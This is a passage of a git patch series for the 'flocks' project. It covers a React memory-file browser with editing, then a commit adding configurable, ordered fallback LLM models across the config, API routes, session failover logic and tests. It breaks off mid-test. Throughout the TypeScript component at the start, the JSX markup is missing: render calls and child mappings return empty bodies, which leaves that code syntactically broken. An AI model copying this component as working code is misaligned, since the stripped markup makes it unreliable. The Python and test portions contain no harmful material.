+function collectMemoryFiles(nodes: WorkspaceNode[]): WorkspaceNode[] { + return nodes.flatMap((node) => ( + node.type === 'file' ? [node] : collectMemoryFiles(node.children ?? []) + )); +} + +function memoryPathParts(path: string): string[] { + return path.replace(/\\/g, '/').split('/'); +} + +function buildMemoryView( + nodes: WorkspaceNode[], + visibleProjects: WorkspaceProject[], +): WorkspaceNode[] { + const userMemory = nodes.find((node) => node.path === 'USER.md'); + const globalMemory = nodes.find((node) => node.path === 'MEMORY.md'); + const projects = nodes.find((node) => node.path === 'projects'); + const daily = nodes.find((node) => node.path === 'daily'); + const projectById = new Map(visibleProjects.map((project) => [project.id, project])); + const view: WorkspaceNode[] = []; + + if (userMemory) view.push(userMemory); + if (globalMemory) view.push(globalMemory); + if (projects) { + const projectMemories = collectMemoryFiles(projects.children ?? []).flatMap((node) => { + const pathParts = memoryPathParts(node.path); + const project = pathParts.length === 3 ? projectById.get(pathParts[1]) : undefined; + if (!project || pathParts[2] !== 'MEMORY.md') return []; + return [{ + ...node, + project_name: project.name?.trim() + || project.worktree.split(/[\\/]/).filter(Boolean).pop() + || project.id, + project_worktree: project.worktree, + }]; + }); + view.push(...projectMemories); + } + if (daily) view.push(daily); + return view; +} + +function memoryNodeLabel(node: WorkspaceNode): string { + if (node.project_name) return `${node.project_name} / MEMORY.md`; + const pathParts = memoryPathParts(node.path); + if (pathParts.length === 3 && pathParts[0] === 'projects') { + return `${pathParts[1]}/${pathParts[2]}`; + } + return node.name; +} + +function filterMemoryTree(nodes: WorkspaceNode[], query: string): WorkspaceNode[] { + if (!query) return nodes; + + return nodes.flatMap((node) => { + const searchableText = [node.path, node.project_name, node.project_worktree] + .filter(Boolean) + .join(' ') + .toLowerCase(); + if (searchableText.includes(query)) return [node]; + if (node.type === 'file') return []; + + const children = filterMemoryTree(node.children ?? [], query); + return children.length > 0 ? [{ ...node, children }] : []; + }); +} + +interface MemoryTreeNodeProps { + node: WorkspaceNode; + depth: number; + expandedPaths: Set; + forceExpanded: boolean; + selectedPath?: string; + onToggle: (path: string) => void; + onSelect: (node: WorkspaceNode) => void; +} + +function MemoryTreeNode({ + node, + depth, + expandedPaths, + forceExpanded, + selectedPath, + onToggle, + onSelect, +}: MemoryTreeNodeProps) { + const { t } = useTranslation('workspace'); + const isDirectory = node.type === 'directory'; + const isExpanded = forceExpanded || expandedPaths.has(node.path); + + return ( +
+ + {isDirectory && isExpanded && (node.children ?? []).map((child) => ( + + ))} +
+ ); +} + function MemoryTab() { - const { error: toastError } = useToast(); + const { success: toastSuccess, error: toastError } = useToast(); const { t } = useTranslation('workspace'); const [files, setFiles] = useState([]); + const [visibleProjects, setVisibleProjects] = useState([]); const [loadState, setLoadState] = useState('loading'); const [selected, setSelected] = useState(null); @@ -1582,16 +1725,24 @@ function MemoryTab() { const [content, setContent] = useState(null); const [truncated, setTruncated] = useState(false); const [previewLimitBytes, setPreviewLimitBytes] = useState(null); + const [editing, setEditing] = useState(false); + const [editContent, setEditContent] = useState(null); + const [saving, setSaving] = useState(false); const [previewModalOpen, setPreviewModalOpen] = useState(false); const [search, setSearch] = useState(''); + const [expandedPaths, setExpandedPaths] = useState>(new Set()); const latestMemoryRequestIdRef = useRef(0); const load = useCallback(async () => { setLoadState('loading'); try { - const res = await workspaceAPI.listMemory(); - setFiles(Array.isArray(res.data) ? res.data : []); + const [memoryResponse, projectResponse] = await Promise.all([ + workspaceAPI.listMemory(), + workspaceAPI.listVisibleProjects(), + ]); + setFiles(Array.isArray(memoryResponse.data) ? memoryResponse.data : []); + setVisibleProjects(Array.isArray(projectResponse.data) ? projectResponse.data : []); setLoadState('idle'); } catch (e: any) { setLoadState('error'); @@ -1609,6 +1760,8 @@ function MemoryTab() { setContent(null); setTruncated(false); setPreviewLimitBytes(null); + setEditing(false); + setEditContent(null); if (!node.is_text_file) { setContentState('ready'); @@ -1634,7 +1787,48 @@ function MemoryTab() { } }; - const filtered = files.filter((f) => f.path.toLowerCase().includes(search.toLowerCase())); + const handleSave = async () => { + if (!selected || editContent === null || truncated) return; + setSaving(true); + try { + await workspaceAPI.writeMemoryFile(selected.path, editContent); + const savedContent = editContent; + setContent(savedContent); + setEditing(false); + setEditContent(null); + setSelected((current) => current ? { + ...current, + size: new TextEncoder().encode(savedContent).length, + modified_at: Date.now() / 1000, + } : current); + toastSuccess(t('files.toast.saveSuccess')); + await load(); + } catch (e: any) { + toastError(t('files.toast.saveFailed'), e?.response?.data?.detail ?? e.message); + } finally { + setSaving(false); + } + }; + + const normalizedSearch = search.trim().toLowerCase(); + const memoryView = useMemo( + () => buildMemoryView(files, visibleProjects), + [files, visibleProjects], + ); + const filtered = useMemo( + () => filterMemoryTree(memoryView, normalizedSearch), + [memoryView, normalizedSearch], + ); + const fileCount = useMemo(() => countMemoryFiles(memoryView), [memoryView]); + + const handleToggle = useCallback((path: string) => { + setExpandedPaths((current) => { + const next = new Set(current); + if (next.has(path)) next.delete(path); + else next.add(path); + return next; + }); + }, []); return (
@@ -1642,7 +1836,7 @@ function MemoryTab() {
{t('memory.title')} - {files.length} + {fileCount} @@ -1672,30 +1866,24 @@ function MemoryTab() { ) : filtered.length === 0 ? (
- {files.length === 0 ? t('memory.noFiles') : t('memory.noMatch')} + {memoryView.length === 0 ? t('memory.noFiles') : t('memory.noMatch')}
) : ( - filtered.map((f) => ( - + filtered.map((node) => ( + )) )}
-
- {t('memory.readOnly')} -
@@ -1703,9 +1891,47 @@ function MemoryTab() { <>
{fileIcon(selected)} - {selected.name} +
+
+ {memoryNodeLabel(selected)} +
+ {selected.project_worktree && ( +
+ {selected.project_worktree} +
+ )} +
{formatBytes(selected.size ?? 0)} {formatDate(selected.modified_at)} + {selected.is_text_file && !editing && !truncated && contentState === 'ready' && ( + + )} + {editing && ( + <> + + + + )} @@ -1728,12 +1954,12 @@ function MemoryTab() { undefined} + onEditChange={setEditContent} /> )}
From 6e1a67b832b84e93d3eac18254ff8385d8843af5 Mon Sep 17 00:00:00 2001 From: xiami762 Date: Wed, 5 Aug 2026 17:12:52 +0800 Subject: [PATCH 14/67] feat(webui): configure ordered auto fallback models --- flocks/config/config.py | 71 +++ flocks/config/config_writer.py | 186 +++++++- flocks/server/routes/default_model.py | 142 +++++- flocks/session/session_loop.py | 128 ++++- tests/config/test_config.py | 35 ++ tests/config/test_config_writer.py | 179 +++++++ .../routes/test_default_model_fallbacks.py | 364 ++++++++++++++ tests/session/test_auto_model_failover.py | 191 ++++++++ tui/flocks/config/config.ts | 11 + webui/src/api/provider.ts | 11 + webui/src/locales/en-US/model.json | 23 + webui/src/locales/zh-CN/model.json | 23 + webui/src/pages/Model/index.test.tsx | 223 +++++++++ webui/src/pages/Model/index.tsx | 448 +++++++++++++++++- webui/src/types/index.ts | 9 + 15 files changed, 2009 insertions(+), 35 deletions(-) create mode 100644 tests/server/routes/test_default_model_fallbacks.py diff --git a/flocks/config/config.py b/flocks/config/config.py index d6342f0a5..3bfebeddb 100644 --- a/flocks/config/config.py +++ b/flocks/config/config.py @@ -615,6 +615,15 @@ def get_extra(self, key: str, default: Any = None) -> Any: # ==================== Main Configuration ==================== +class FallbackProviderConfig(BaseModel): + """Ordered model identity used for runtime provider fallback.""" + + model_config = {"extra": "forbid"} + + provider_id: str + model_id: str + + class ConfigInfo(BaseModel): """ Main configuration schema @@ -647,6 +656,7 @@ class ConfigInfo(BaseModel): enabled_providers: Optional[List[str]] = None model: Optional[str] = None small_model: Optional[str] = Field(None, alias="smallModel") + fallback_providers: Optional[List[FallbackProviderConfig]] = None default_agent: Optional[str] = Field(None, alias="defaultAgent") username: Optional[str] = None mode: Optional[Dict[str, AgentConfig]] = Field(None, description="@deprecated Use 'agent'") @@ -697,6 +707,67 @@ class ConfigInfo(BaseModel): "workspace_access (none/ro/rw), workspace_root, docker, tools, prune." ), ) + + @field_validator("fallback_providers", mode="before") + @classmethod + def normalize_fallback_providers(cls, value: Any) -> Any: + """Normalize ordered fallback identities without rewriting user config.""" + if value is None: + return None + + from flocks.utils.log import Log + + config_log = Log.create(service="config") + if not isinstance(value, list): + config_log.warning("config.fallback_providers_invalid", { + "reason": "not_a_list", + }) + return [] + + normalized: List[Dict[str, str]] = [] + seen: set[tuple[str, str]] = set() + for index, raw in enumerate(value): + if not isinstance(raw, dict): + config_log.warning("config.fallback_provider_invalid", { + "index": index, + "reason": "not_an_object", + }) + continue + + provider_id = raw.get("provider_id") + model_id = raw.get("model_id") + if not isinstance(provider_id, str) or not isinstance(model_id, str): + config_log.warning("config.fallback_provider_invalid", { + "index": index, + "reason": "invalid_identity", + }) + continue + + provider_id = provider_id.strip() + model_id = model_id.strip() + if not provider_id or not model_id: + config_log.warning("config.fallback_provider_invalid", { + "index": index, + "reason": "empty_identity", + }) + continue + + identity = (provider_id, model_id) + if identity in seen: + config_log.warning("config.fallback_provider_duplicate", { + "index": index, + "provider_id": provider_id, + "model_id": model_id, + }) + continue + + seen.add(identity) + normalized.append({ + "provider_id": provider_id, + "model_id": model_id, + }) + + return normalized allow_read_paths: Optional[List[str]] = Field( None, alias="allowReadPaths", diff --git a/flocks/config/config_writer.py b/flocks/config/config_writer.py index 7251c6d17..ca0d158ce 100644 --- a/flocks/config/config_writer.py +++ b/flocks/config/config_writer.py @@ -31,6 +31,60 @@ } +def _parse_jsonc(text: str) -> Dict[str, Any]: + """Parse JSON with line and block comments without resolving references.""" + output: List[str] = [] + index = 0 + in_string = False + escaped = False + + while index < len(text): + char = text[index] + next_char = text[index + 1] if index + 1 < len(text) else "" + + if in_string: + output.append(char) + if escaped: + escaped = False + elif char == "\\": + escaped = True + elif char == '"': + in_string = False + index += 1 + continue + + if char == '"': + in_string = True + output.append(char) + index += 1 + continue + + if char == "/" and next_char == "/": + index += 2 + while index < len(text) and text[index] not in "\r\n": + index += 1 + continue + + if char == "/" and next_char == "*": + index += 2 + while index + 1 < len(text) and text[index:index + 2] != "*/": + if text[index] in "\r\n": + output.append(text[index]) + index += 1 + if index + 1 >= len(text): + raise ValueError("Unterminated block comment") + index += 2 + continue + + output.append(char) + index += 1 + + parsed = json.loads("".join(output)) + if not isinstance(parsed, dict): + raise ValueError("Top-level configuration must be a JSON object") + return parsed + + def _get_example_config_dir() -> Path: """Return the bundled example directory used for first-run initialization.""" return Path(__file__).resolve().parents[2] / ".flocks" @@ -93,18 +147,62 @@ def _get_config_path(cls) -> Path: @classmethod def _read_raw(cls) -> Dict[str, Any]: """Read flocks.json as raw dict (no secret resolution).""" - path = cls._get_config_path() + return cls._read_path_raw(cls._get_config_path()) + + @classmethod + def _read_path_raw( + cls, + path: Path, + *, + strict: bool = False, + ) -> Dict[str, Any]: + """Read a JSON/JSONC file without resolving secrets or references.""" if not path.exists(): return {} try: text = path.read_text(encoding="utf-8") if not text.strip(): return {} - return json.loads(text) - except (json.JSONDecodeError, OSError) as exc: + return _parse_jsonc(text) + except (ValueError, OSError) as exc: log.error("config_writer.read_failed", {"path": str(path), "error": str(exc)}) + if strict: + raise ValueError( + f"Unable to read config file {path}: {exc}" + ) from exc return {} + @classmethod + def get_fallback_override_source(cls) -> Optional[str]: + """Return a higher-priority source overriding the writable fallback list.""" + writable_path = cls._get_config_path().resolve() + global_config = Config.get_global() + + inline_content = global_config.config_content + if inline_content: + try: + inline_data = json.loads(inline_content) + except json.JSONDecodeError: + inline_data = None + if ( + isinstance(inline_data, dict) + and inline_data.get("fallback_providers") is not None + ): + return "FLOCKS_CONFIG_CONTENT" + + candidates = [] + if global_config.config_path: + candidates.append(("FLOCKS_CONFIG", Path(global_config.config_path))) + candidates.append(("config.json", global_config.config_dir / "config.json")) + + for source, path in candidates: + if not path.exists() or path.resolve() == writable_path: + continue + data = cls._read_path_raw(path, strict=True) + if data.get("fallback_providers") is not None: + return source + return None + @classmethod def _write_raw(cls, data: Dict[str, Any]) -> None: """Atomic write: write to tmp file then rename, then clear Config cache.""" @@ -400,6 +498,88 @@ def get_all_default_models(cls) -> Dict[str, Dict[str, Any]]: data = cls._read_raw() return data.get("default_models", {}) + # ------------------------------------------------------------------ + # Runtime model fallbacks (fallback_providers section) + # ------------------------------------------------------------------ + + @classmethod + def get_fallback_providers(cls) -> List[Dict[str, str]]: + """Return ordered, structurally valid runtime fallback models.""" + data = cls._read_raw() + raw_fallbacks = data.get("fallback_providers", []) + if not isinstance(raw_fallbacks, list): + log.warning("config_writer.fallback_providers_invalid", { + "reason": "not_a_list", + }) + return [] + + fallbacks: List[Dict[str, str]] = [] + seen: set[tuple[str, str]] = set() + for index, raw in enumerate(raw_fallbacks): + if not isinstance(raw, dict): + log.warning("config_writer.fallback_provider_invalid", { + "index": index, + "reason": "not_an_object", + }) + continue + + provider_id = raw.get("provider_id") + model_id = raw.get("model_id") + if not isinstance(provider_id, str) or not isinstance(model_id, str): + log.warning("config_writer.fallback_provider_invalid", { + "index": index, + "reason": "invalid_identity", + }) + continue + + provider_id = provider_id.strip() + model_id = model_id.strip() + if not provider_id or not model_id: + log.warning("config_writer.fallback_provider_invalid", { + "index": index, + "reason": "empty_identity", + }) + continue + + identity = (provider_id, model_id) + if identity in seen: + log.warning("config_writer.fallback_provider_duplicate", { + "index": index, + "provider_id": provider_id, + "model_id": model_id, + }) + continue + + seen.add(identity) + fallbacks.append({ + "provider_id": provider_id, + "model_id": model_id, + }) + + return fallbacks + + @classmethod + def set_fallback_providers( + cls, + fallbacks: List[Dict[str, str]], + ) -> None: + """Atomically replace the ordered runtime fallback model list.""" + data = cls._read_path_raw(cls._get_config_path(), strict=True) + if fallbacks: + data["fallback_providers"] = [ + { + "provider_id": fallback["provider_id"], + "model_id": fallback["model_id"], + } + for fallback in fallbacks + ] + else: + data.pop("fallback_providers", None) + cls._write_raw(data) + log.info("config_writer.fallback_providers_set", { + "count": len(fallbacks), + }) + # ------------------------------------------------------------------ # MCP server CRUD (mcp section) # ------------------------------------------------------------------ diff --git a/flocks/server/routes/default_model.py b/flocks/server/routes/default_model.py index 5aa58b862..20477eaa0 100644 --- a/flocks/server/routes/default_model.py +++ b/flocks/server/routes/default_model.py @@ -4,12 +4,15 @@ Provides endpoints to get/set default models per model type. """ -from typing import List +from typing import Dict, List from fastapi import APIRouter, HTTPException, status from pydantic import BaseModel, Field +from flocks.config.config import Config, FallbackProviderConfig +from flocks.config.config_writer import ConfigWriter from flocks.provider.model_manager import get_model_manager +from flocks.provider.provider import Provider from flocks.provider.types import DefaultModelConfig, ModelType from flocks.utils.log import Log @@ -31,6 +34,12 @@ class DefaultModelListResponse(BaseModel): defaults: List[DefaultModelConfig] +class FallbackProvidersConfig(BaseModel): + """Ordered runtime fallback model configuration.""" + + fallback_providers: List[FallbackProviderConfig] = Field(default_factory=list) + + # ==================== Routes ==================== @@ -57,8 +66,6 @@ async def get_all_defaults() -> DefaultModelListResponse: ) async def get_resolved_default_model(): """Return the resolved default LLM model (provider_id + model_id).""" - from flocks.config.config import Config - result = await Config.resolve_default_llm() if not result: raise HTTPException( @@ -68,6 +75,135 @@ async def get_resolved_default_model(): return {"provider_id": result["provider_id"], "model_id": result["model_id"]} +@router.get( + "/fallbacks", + response_model=FallbackProvidersConfig, + summary="Get runtime fallback models", + description="Get the ordered fallback model configuration for WebUI Auto mode", +) +async def get_fallback_providers() -> FallbackProvidersConfig: + """Return the effective ordered fallback model list.""" + config = await Config.get() + return FallbackProvidersConfig( + fallback_providers=config.fallback_providers or [] + ) + + +@router.put( + "/fallbacks", + response_model=FallbackProvidersConfig, + summary="Replace runtime fallback models", + description="Atomically replace the ordered fallback model configuration", +) +async def set_fallback_providers( + body: FallbackProvidersConfig, +) -> FallbackProvidersConfig: + """Validate and atomically replace the runtime fallback model list.""" + override_source = ConfigWriter.get_fallback_override_source() + if override_source: + raise HTTPException( + status_code=status.HTTP_409_CONFLICT, + detail=( + "Fallback models are controlled by " + f"{override_source} and cannot be changed from the WebUI" + ), + ) + + config = await Config.get() + await Provider.apply_config(config) + manager = get_model_manager() + primary = await Config.resolve_default_llm() + primary_identity = None + if primary: + primary_identity = ( + primary["provider_id"].strip(), + primary["model_id"].strip(), + ) + disabled_providers = set(config.disabled_providers or []) + enabled_providers = config.enabled_providers + + normalized: List[Dict[str, str]] = [] + seen: set[tuple[str, str]] = set() + for index, fallback in enumerate(body.fallback_providers): + provider_id = fallback.provider_id.strip() + model_id = fallback.model_id.strip() + if not provider_id or not model_id: + raise HTTPException( + status_code=status.HTTP_400_BAD_REQUEST, + detail=( + f"Fallback at index {index} must include provider_id " + "and model_id" + ), + ) + + identity = (provider_id, model_id) + if identity in seen: + raise HTTPException( + status_code=status.HTTP_400_BAD_REQUEST, + detail=( + f"Duplicate fallback model '{provider_id}/{model_id}' " + f"at index {index}" + ), + ) + if identity == primary_identity: + raise HTTPException( + status_code=status.HTTP_400_BAD_REQUEST, + detail=( + f"Fallback model '{provider_id}/{model_id}' is the current " + "default LLM" + ), + ) + + if provider_id in disabled_providers or ( + enabled_providers and provider_id not in enabled_providers + ): + raise HTTPException( + status_code=status.HTTP_400_BAD_REQUEST, + detail=f"Fallback provider '{provider_id}' is disabled", + ) + + definition = manager.get_model(provider_id, model_id) + if definition is None: + raise HTTPException( + status_code=status.HTTP_400_BAD_REQUEST, + detail=f"Unknown fallback model '{provider_id}/{model_id}'", + ) + if definition.model_type != ModelType.LLM: + raise HTTPException( + status_code=status.HTTP_400_BAD_REQUEST, + detail=f"Fallback model '{provider_id}/{model_id}' is not an LLM", + ) + + provider = Provider.get(provider_id) + if provider is None or not provider.is_configured(): + raise HTTPException( + status_code=status.HTTP_400_BAD_REQUEST, + detail=f"Fallback provider '{provider_id}' is not configured", + ) + + setting = manager.get_setting(provider_id, model_id) + if setting is not None and not setting.enabled: + raise HTTPException( + status_code=status.HTTP_400_BAD_REQUEST, + detail=f"Fallback model '{provider_id}/{model_id}' is disabled", + ) + + seen.add(identity) + normalized.append({ + "provider_id": provider_id, + "model_id": model_id, + }) + + try: + ConfigWriter.set_fallback_providers(normalized) + except ValueError as exc: + raise HTTPException( + status_code=status.HTTP_409_CONFLICT, + detail=str(exc), + ) from exc + return FallbackProvidersConfig(fallback_providers=normalized) + + @router.get( "/{model_type}", response_model=DefaultModelConfig, diff --git a/flocks/session/session_loop.py b/flocks/session/session_loop.py index d163d663b..74b095bda 100644 --- a/flocks/session/session_loop.py +++ b/flocks/session/session_loop.py @@ -16,7 +16,7 @@ import hashlib import inspect import time -from typing import Optional, List, Dict, Any, Callable, Awaitable +from typing import Optional, List, Dict, Any, Callable, Awaitable, Literal from dataclasses import dataclass, field from datetime import datetime @@ -112,6 +112,7 @@ class LoopContext: auto_failover_allowed: bool = False model_candidates: List[RuntimeModel] = field(default_factory=list) candidate_index: int = 0 + model_candidate_policy: Literal["fixed", "automatic", "configured"] = "automatic" turn_user_id: Optional[str] = None turn_additional_context: Optional[str] = None stop_hook_active: bool = False @@ -235,14 +236,56 @@ async def _build_model_candidates( *, route_seed: str, preferred: Optional[RuntimeModel] = None, + config: Optional[Any] = None, ) -> List[RuntimeModel]: - """Build a stable per-turn primary, same-provider, cross-provider chain.""" + """Build a configured chain or the stable automatic discovery chain.""" from flocks.config.config import Config from flocks.provider.model_manager import get_model_manager from flocks.provider.types import ModelType - config = await Config.get() + config = config or await Config.get() await Provider.apply_config(config) + + configured_fallbacks = getattr(config, "fallback_providers", None) or [] + if configured_fallbacks: + candidates = [primary] + seen = {(primary.provider_id, primary.model_id)} + for index, raw in enumerate(configured_fallbacks): + provider_id = ( + raw.get("provider_id") + if isinstance(raw, dict) + else raw.provider_id + ) + model_id = ( + raw.get("model_id") + if isinstance(raw, dict) + else raw.model_id + ) + candidate = RuntimeModel( + provider_id=provider_id, + model_id=model_id, + ) + identity = (candidate.provider_id, candidate.model_id) + if identity in seen: + continue + seen.add(identity) + + available, reason = await cls.validate_runtime_model( + candidate.provider_id, + candidate.model_id, + config=config, + ) + if not available: + log.warn("session.model.fallback_skipped", { + "provider_id": candidate.provider_id, + "model_id": candidate.model_id, + "configured_index": index, + "reason": reason, + }) + continue + candidates.append(candidate) + return candidates + definitions = get_model_manager().list_models( model_type=ModelType.LLM, enabled_only=True, @@ -896,19 +939,37 @@ async def _prepare_auto_turn( if ctx.turn_user_id is None: ctx.turn_user_id = last_user.id if ctx.auto_failover and ctx.auto_failover_allowed: + from flocks.config.config import Config + primary = ctx.model_candidates[0] - preferred = cls._active_cooldown_model( - ctx.session.id, - primary, + config = await Config.get() + configured = bool( + getattr(config, "fallback_providers", None) ) + if configured: + cls.clear_auto_failover_state(ctx.session.id) + preferred = None + else: + preferred = cls._active_cooldown_model( + ctx.session.id, + primary, + ) ctx.model_candidates = await cls._build_model_candidates( primary, route_seed=f"{ctx.session.id}:{last_user.id}", preferred=preferred, + config=config, ) - next_index = cls._cooldown_candidate_index( - ctx.session.id, - ctx.model_candidates, + ctx.model_candidate_policy = ( + "configured" if configured else "automatic" + ) + next_index = ( + 0 + if configured + else cls._cooldown_candidate_index( + ctx.session.id, + ctx.model_candidates, + ) ) cls._select_candidate(ctx, next_index) return True @@ -947,6 +1008,7 @@ async def _prepare_auto_turn( else user_model_id ) or ctx.model_id ctx.model_candidates = [RuntimeModel(provider_id, model_id)] + ctx.model_candidate_policy = "fixed" cls._select_candidate(ctx, 0) log.info("session.model.auto_disabled_for_turn", { "session_id": ctx.session.id, @@ -957,6 +1019,7 @@ async def _prepare_auto_turn( from flocks.config.config import Config + config = await Config.get() previous = RuntimeModel(ctx.provider_id, ctx.model_id) default_llm = await Config.resolve_default_llm() primary = RuntimeModel( @@ -966,16 +1029,29 @@ async def _prepare_auto_turn( # Rebuild once for every real turn. The user message ID makes the # pseudo-random choices stable throughout that turn, while an active # cooldown keeps its valid target in the newly sampled tier. - preferred = cls._active_cooldown_model(ctx.session.id, primary) + configured = bool(getattr(config, "fallback_providers", None)) + if configured: + cls.clear_auto_failover_state(ctx.session.id) + preferred = None + else: + preferred = cls._active_cooldown_model(ctx.session.id, primary) ctx.model_candidates = await cls._build_model_candidates( primary, route_seed=f"{ctx.session.id}:{last_user.id}", preferred=preferred, + config=config, + ) + ctx.model_candidate_policy = ( + "configured" if configured else "automatic" ) ctx.auto_failover = True - next_index = cls._cooldown_candidate_index( - ctx.session.id, - ctx.model_candidates, + next_index = ( + 0 + if configured + else cls._cooldown_candidate_index( + ctx.session.id, + ctx.model_candidates, + ) ) cls._select_candidate(ctx, next_index) active = ctx.model_candidates[next_index] @@ -1268,7 +1344,8 @@ async def _process_step_with_failover( has_next = next_index < len(ctx.model_candidates) if not failure.allow_fallback or not has_next: if ( - failure.allow_fallback + ctx.model_candidate_policy == "automatic" + and failure.allow_fallback and not has_next and ctx.candidate_index > 0 and failure.reason not in {"rate_limit", "billing"} @@ -1315,17 +1392,18 @@ async def _process_step_with_failover( previous = ctx.model_candidates[ctx.candidate_index] next_candidate = ctx.model_candidates[next_index] - if ctx.candidate_index == 0 and failure.reason in {"rate_limit", "billing"}: - cls._auto_failover_cooldowns[ctx.session.id] = AutoFailoverCooldown( - model=next_candidate, - primary=ctx.model_candidates[0], - expires_at=time.monotonic() + RATE_LIMIT_COOLDOWN_SECONDS, - reason=failure.reason, - ) - else: - cooldown = cls._auto_failover_cooldowns.get(ctx.session.id) - if cooldown and cooldown.expires_at > time.monotonic(): - cooldown.model = next_candidate + if ctx.model_candidate_policy == "automatic": + if ctx.candidate_index == 0 and failure.reason in {"rate_limit", "billing"}: + cls._auto_failover_cooldowns[ctx.session.id] = AutoFailoverCooldown( + model=next_candidate, + primary=ctx.model_candidates[0], + expires_at=time.monotonic() + RATE_LIMIT_COOLDOWN_SECONDS, + reason=failure.reason, + ) + else: + cooldown = cls._auto_failover_cooldowns.get(ctx.session.id) + if cooldown and cooldown.expires_at > time.monotonic(): + cooldown.model = next_candidate cls._select_candidate(ctx, next_index) event_payload = { diff --git a/tests/config/test_config.py b/tests/config/test_config.py index d808ce1e0..2e3d2723c 100644 --- a/tests/config/test_config.py +++ b/tests/config/test_config.py @@ -68,6 +68,41 @@ async def test_config_loading(): assert config.keybinds is not None +@pytest.mark.asyncio +async def test_fallback_providers_use_effective_high_priority_config( + isolated_user_config, + monkeypatch, +): + isolated_user_config.mkdir(parents=True, exist_ok=True) + (isolated_user_config / "flocks.json").write_text( + json.dumps({ + "fallback_providers": [ + {"provider_id": "global", "model_id": "global-model"}, + ], + }), + encoding="utf-8", + ) + monkeypatch.setenv( + "FLOCKS_CONFIG_CONTENT", + json.dumps({ + "fallback_providers": [ + {"provider_id": "inline", "model_id": "effective-model"}, + ], + }), + ) + Config._global_config = None + Config._cached_config = None + + config = await Config.get() + + assert [ + fallback.model_dump() + for fallback in config.fallback_providers or [] + ] == [ + {"provider_id": "inline", "model_id": "effective-model"}, + ] + + def test_local_mcp_config_accepts_legacy_env_alias(): """Legacy ``env`` should hydrate the canonical ``environment`` field.""" config = ConfigInfo.model_validate( diff --git a/tests/config/test_config_writer.py b/tests/config/test_config_writer.py index 1a136f4cf..73c0b1af6 100644 --- a/tests/config/test_config_writer.py +++ b/tests/config/test_config_writer.py @@ -446,3 +446,182 @@ def test_default_models_preserve_other_sections(self, temp_project): data = ConfigWriter._read_raw() assert "provider" in data assert "mcp" in data + + +class TestConfigWriterFallbackModels: + """Test ordered runtime fallback configuration.""" + + def test_get_fallback_providers_empty(self, temp_project): + from flocks.config.config_writer import ConfigWriter + + assert ConfigWriter.get_fallback_providers() == [] + + def test_set_and_get_fallback_providers_preserves_order(self, temp_project): + from flocks.config.config_writer import ConfigWriter + + fallbacks = [ + {"provider_id": "openai", "model_id": "gpt-4o-mini"}, + {"provider_id": "google", "model_id": "gemini-flash"}, + ] + + ConfigWriter.set_fallback_providers(fallbacks) + + assert ConfigWriter.get_fallback_providers() == fallbacks + + def test_set_fallback_providers_preserves_other_config(self, temp_project): + from flocks.config.config_writer import ConfigWriter + + raw = ConfigWriter._read_raw() + raw["smallModel"] = "openai/gpt-4o-mini" + ConfigWriter._write_raw(raw) + + ConfigWriter.set_fallback_providers([ + {"provider_id": "google", "model_id": "gemini-flash"}, + ]) + + updated = ConfigWriter._read_raw() + assert updated["smallModel"] == "openai/gpt-4o-mini" + assert "provider" in updated + assert "mcp" in updated + + def test_set_fallback_providers_reads_jsonc(self, temp_project): + from flocks.config.config_writer import ConfigWriter + + json_path = temp_project / "flocks.json" + jsonc_path = temp_project / "flocks.jsonc" + jsonc_path.write_text( + """{ + // Preserve provider configuration while updating fallbacks. + "provider": {"anthropic": {"models": {}}}, + "smallModel": "anthropic/claude-haiku" + } + """, + encoding="utf-8", + ) + json_path.unlink() + + ConfigWriter.set_fallback_providers([ + {"provider_id": "openai", "model_id": "gpt-4o-mini"}, + ]) + + updated = ConfigWriter._read_raw() + assert "anthropic" in updated["provider"] + assert updated["smallModel"] == "anthropic/claude-haiku" + assert updated["fallback_providers"] == [ + {"provider_id": "openai", "model_id": "gpt-4o-mini"}, + ] + + def test_invalid_config_is_not_overwritten(self, temp_project): + from flocks.config.config_writer import ConfigWriter + + config_path = temp_project / "flocks.json" + config_path.write_text("{ invalid", encoding="utf-8") + + with pytest.raises(ValueError, match="Unable to read config file"): + ConfigWriter.set_fallback_providers([ + {"provider_id": "openai", "model_id": "gpt-4o-mini"}, + ]) + + assert config_path.read_text(encoding="utf-8") == "{ invalid" + + def test_empty_fallback_providers_removes_key(self, temp_project): + from flocks.config.config_writer import ConfigWriter + + ConfigWriter.set_fallback_providers([ + {"provider_id": "openai", "model_id": "gpt-4o-mini"}, + ]) + ConfigWriter.set_fallback_providers([]) + + assert "fallback_providers" not in ConfigWriter._read_raw() + + def test_detects_inline_fallback_override(self, temp_project, monkeypatch): + from flocks.config.config_writer import ConfigWriter + + monkeypatch.setenv( + "FLOCKS_CONFIG_CONTENT", + json.dumps({"fallback_providers": []}), + ) + Config._global_config = None + + assert ( + ConfigWriter.get_fallback_override_source() + == "FLOCKS_CONFIG_CONTENT" + ) + + def test_detects_custom_config_fallback_override( + self, + temp_project, + tmp_path, + ): + from flocks.config.config_writer import ConfigWriter + + custom_path = tmp_path / "custom.jsonc" + custom_path.write_text( + '{"fallback_providers": [/* external */ ' + '{"provider_id": "openai", "model_id": "gpt-4o"}]}', + encoding="utf-8", + ) + Config.get_global().config_path = str(custom_path) + + assert ConfigWriter.get_fallback_override_source() == "FLOCKS_CONFIG" + + def test_detects_config_json_fallback_override(self, temp_project): + from flocks.config.config_writer import ConfigWriter + + (temp_project / "config.json").write_text( + json.dumps({"fallback_providers": []}), + encoding="utf-8", + ) + + assert ConfigWriter.get_fallback_override_source() == "config.json" + + def test_higher_priority_config_without_fallback_allows_save( + self, + temp_project, + ): + from flocks.config.config_writer import ConfigWriter + + (temp_project / "config.json").write_text( + json.dumps({"smallModel": "anthropic/claude-haiku"}), + encoding="utf-8", + ) + + assert ConfigWriter.get_fallback_override_source() is None + + def test_get_skips_malformed_entries_without_rewriting(self, temp_project): + from flocks.config.config_writer import ConfigWriter + + raw = ConfigWriter._read_raw() + raw_entries = [ + {"provider_id": " openai ", "model_id": " gpt-4o "}, + {"provider_id": "openai", "model_id": "gpt-4o"}, + {"provider_id": "", "model_id": "empty-provider"}, + {"provider_id": "stale", "model_id": "removed/model"}, + "invalid", + ] + raw["fallback_providers"] = raw_entries + ConfigWriter._write_raw(raw) + + assert ConfigWriter.get_fallback_providers() == [ + {"provider_id": "openai", "model_id": "gpt-4o"}, + {"provider_id": "stale", "model_id": "removed/model"}, + ] + assert ConfigWriter._read_raw()["fallback_providers"] == raw_entries + + def test_typed_config_normalizes_malformed_and_duplicate_entries(self): + from flocks.config.config import ConfigInfo + + config = ConfigInfo.model_validate({ + "smallModel": "openai/gpt-4o-mini", + "fallback_providers": [ + {"provider_id": " 